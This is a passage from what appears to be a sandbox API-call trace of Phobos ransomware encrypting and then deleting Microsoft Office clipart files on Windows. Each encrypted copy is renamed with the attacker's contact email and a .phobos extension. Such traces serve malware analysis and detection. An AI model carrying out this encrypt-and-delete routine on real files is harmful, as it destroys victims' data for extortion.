CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc6d0) returned 1 [0059.870] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.870] ReadFile (in: hFile=0x338, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x6a0, lpOverlapped=0x0) returned 1 [0059.878] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x6b0, dwBufLen=0x6b0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x6b0) returned 1 [0059.878] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x6b0, lpOverlapped=0x0) returned 1 [0059.883] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc690) returned 1 [0059.883] CryptSetKeyParam (hKey=0x10dc690, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.883] CryptEncrypt (in: hKey=0x10dc690, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0059.883] CryptDestroyKey (hKey=0x10dc690) returned 1 [0059.883] WriteFile (in: hFile=0x300, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0059.883] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0059.883] CloseHandle (hObject=0x338) returned 1 [0059.884] CloseHandle (hObject=0x300) returned 1 [0059.884] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0059.885] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0059.885] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0059.885] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1516) returned 1 [0059.886] CloseHandle (hObject=0x300) returned 1 [0059.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 0x220 [0059.886] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0059.886] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.886] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.886] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.886] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb10) returned 1 [0059.886] CryptSetKeyParam (hKey=0x10dcb10, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.886] ReadFile (in: hFile=0x300, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x5ec, lpOverlapped=0x0) returned 1 [0059.893] CryptEncrypt (in: hKey=0x10dcb10, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x5f0, dwBufLen=0x5f0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x5f0) returned 1 [0059.893] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x5f0, lpOverlapped=0x0) returned 1 [0059.894] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcbd0) returned 1 [0059.894] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.894] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0059.894] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0059.894] WriteFile (in: hFile=0x338, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0059.895] CryptDestroyKey (hKey=0x10dcb10) returned 1 [0059.895] CloseHandle (hObject=0x300) returned 1 [0059.895] CloseHandle (hObject=0x338) returned 1 [0059.895] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00152_.wmf")) returned 1 [0059.896] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0059.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.903] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=8070) returned 1 [0059.903] CloseHandle (hObject=0x304) returned 1 [0059.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 0x220 [0059.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.903] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.903] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.904] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.904] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcb90) returned 1 [0059.904] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.904] ReadFile (in: hFile=0x304, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1f86, lpOverlapped=0x0) returned 1 [0059.912] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1f90, dwBufLen=0x1f90 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1f90) returned 1 [0059.912] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1f90, lpOverlapped=0x0) returned 1 [0059.913] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcbd0) returned 1 [0059.913] CryptSetKeyParam (hKey=0x10dcbd0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.913] CryptEncrypt (in: hKey=0x10dcbd0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0059.913] CryptDestroyKey (hKey=0x10dcbd0) returned 1 [0059.913] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0059.913] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0059.913] CloseHandle (hObject=0x304) returned 1 [0059.913] CloseHandle (hObject=0x330) returned 1 [0059.914] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00195_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00195_.wmf")) returned 1 [0059.915] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0059.915] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.915] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=4024) returned 1 [0059.915] CloseHandle (hObject=0x330) returned 1 [0059.915] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 0x220 [0059.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.916] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.916] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.916] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.916] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc6d0) returned 1 [0059.916] CryptSetKeyParam (hKey=0x10dc6d0, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.916] ReadFile (in: hFile=0x330, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0xfb8, lpOverlapped=0x0) returned 1 [0059.964] CryptEncrypt (in: hKey=0x10dc6d0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xfc0, dwBufLen=0xfc0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0xfc0) returned 1 [0059.964] WriteFile (in: hFile=0x304, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xfc0, lpOverlapped=0x0) returned 1 [0059.965] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc790) returned 1 [0059.965] CryptSetKeyParam (hKey=0x10dc790, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.965] CryptEncrypt (in: hKey=0x10dc790, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0059.965] CryptDestroyKey (hKey=0x10dc790) returned 1 [0059.965] WriteFile (in: hFile=0x304, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0059.965] CryptDestroyKey (hKey=0x10dc6d0) returned 1 [0059.965] CloseHandle (hObject=0x330) returned 1 [0059.965] CloseHandle (hObject=0x304) returned 1 [0059.966] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00242_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00242_.wmf")) returned 1 [0059.967] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0059.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.967] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=4708) returned 1 [0059.967] CloseHandle (hObject=0x304) returned 1 [0059.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x220 [0059.967] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0059.967] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0059.968] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.968] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0059.968] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0059.968] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dcc90) returned 1 [0059.968] CryptSetKeyParam (hKey=0x10dcc90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.968] ReadFile (in: hFile=0x304, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x1264, lpOverlapped=0x0) returned 1 [0059.995] CryptEncrypt (in: hKey=0x10dcc90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1270, dwBufLen=0x1270 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x1270) returned 1 [0059.995] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x1270, lpOverlapped=0x0) returned 1 [0059.996] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dc750) returned 1 [0059.996] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0059.996] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0059.996] CryptDestroyKey (hKey=0x10dc750) returned 1 [0059.996] WriteFile (in: hFile=0x330, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0059.996] CryptDestroyKey (hKey=0x10dcc90) returned 1 [0059.996] CloseHandle (hObject=0x304) returned 1 [0059.996] CloseHandle (hObject=0x330) returned 1 [0059.997] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0059.998] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0059.998] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.013] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x38ef788 | out: lpFileSize=0x38ef788*=1736) returned 1 [0060.013] CloseHandle (hObject=0x2fc) returned 1 [0060.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x220 [0060.014] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0060.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0060.014] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.014] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ef728 | out: lpNewFilePointer=0x0) returned 1 [0060.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0060.019] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef73c | out: phKey=0x38ef73c*=0x10dc750) returned 1 [0060.019] CryptSetKeyParam (hKey=0x10dc750, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.019] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c58020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x38ef764, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesRead=0x38ef764*=0x6c8, lpOverlapped=0x0) returned 1 [0060.029] CryptEncrypt (in: hKey=0x10dc750, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x6d0, dwBufLen=0x6d0 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x6d0) returned 1 [0060.029] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0x6d0, lpOverlapped=0x0) returned 1 [0060.030] CryptImportKey (in: hProv=0x10b66e0, pbData=0x38ef6d4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x38ef740 | out: phKey=0x38ef740*=0x10dcb90) returned 1 [0060.030] CryptSetKeyParam (hKey=0x10dcb90, dwParam=0x1, pbData=0x38ef7e8, dwFlags=0x0) returned 1 [0060.030] CryptEncrypt (in: hKey=0x10dcb90, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40, dwBufLen=0x40 | out: pbData=0x3c58020*, pdwDataLen=0x38ef700*=0x40) returned 1 [0060.030] CryptDestroyKey (hKey=0x10dcb90) returned 1 [0060.030] WriteFile (in: hFile=0x310, lpBuffer=0x3c58020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x38ef748, lpOverlapped=0x0 | out: lpBuffer=0x3c58020*, lpNumberOfBytesWritten=0x38ef748*=0xf2, lpOverlapped=0x0) returned 1 [0060.030] CryptDestroyKey (hKey=0x10dc750) returned 1 [0060.030] CloseHandle (hObject=0x2fc) returned 1 [0060.030] CloseHandle (hObject=0x310) returned 1 [0060.032] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0060.033] CryptGenRandom (in: hProv=0x10b66e0, dwLen=0x10, pbBuffer=0x38ef7e8 | out: pbBuffer=0x38ef7e8) returned 1 [0060.033] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft 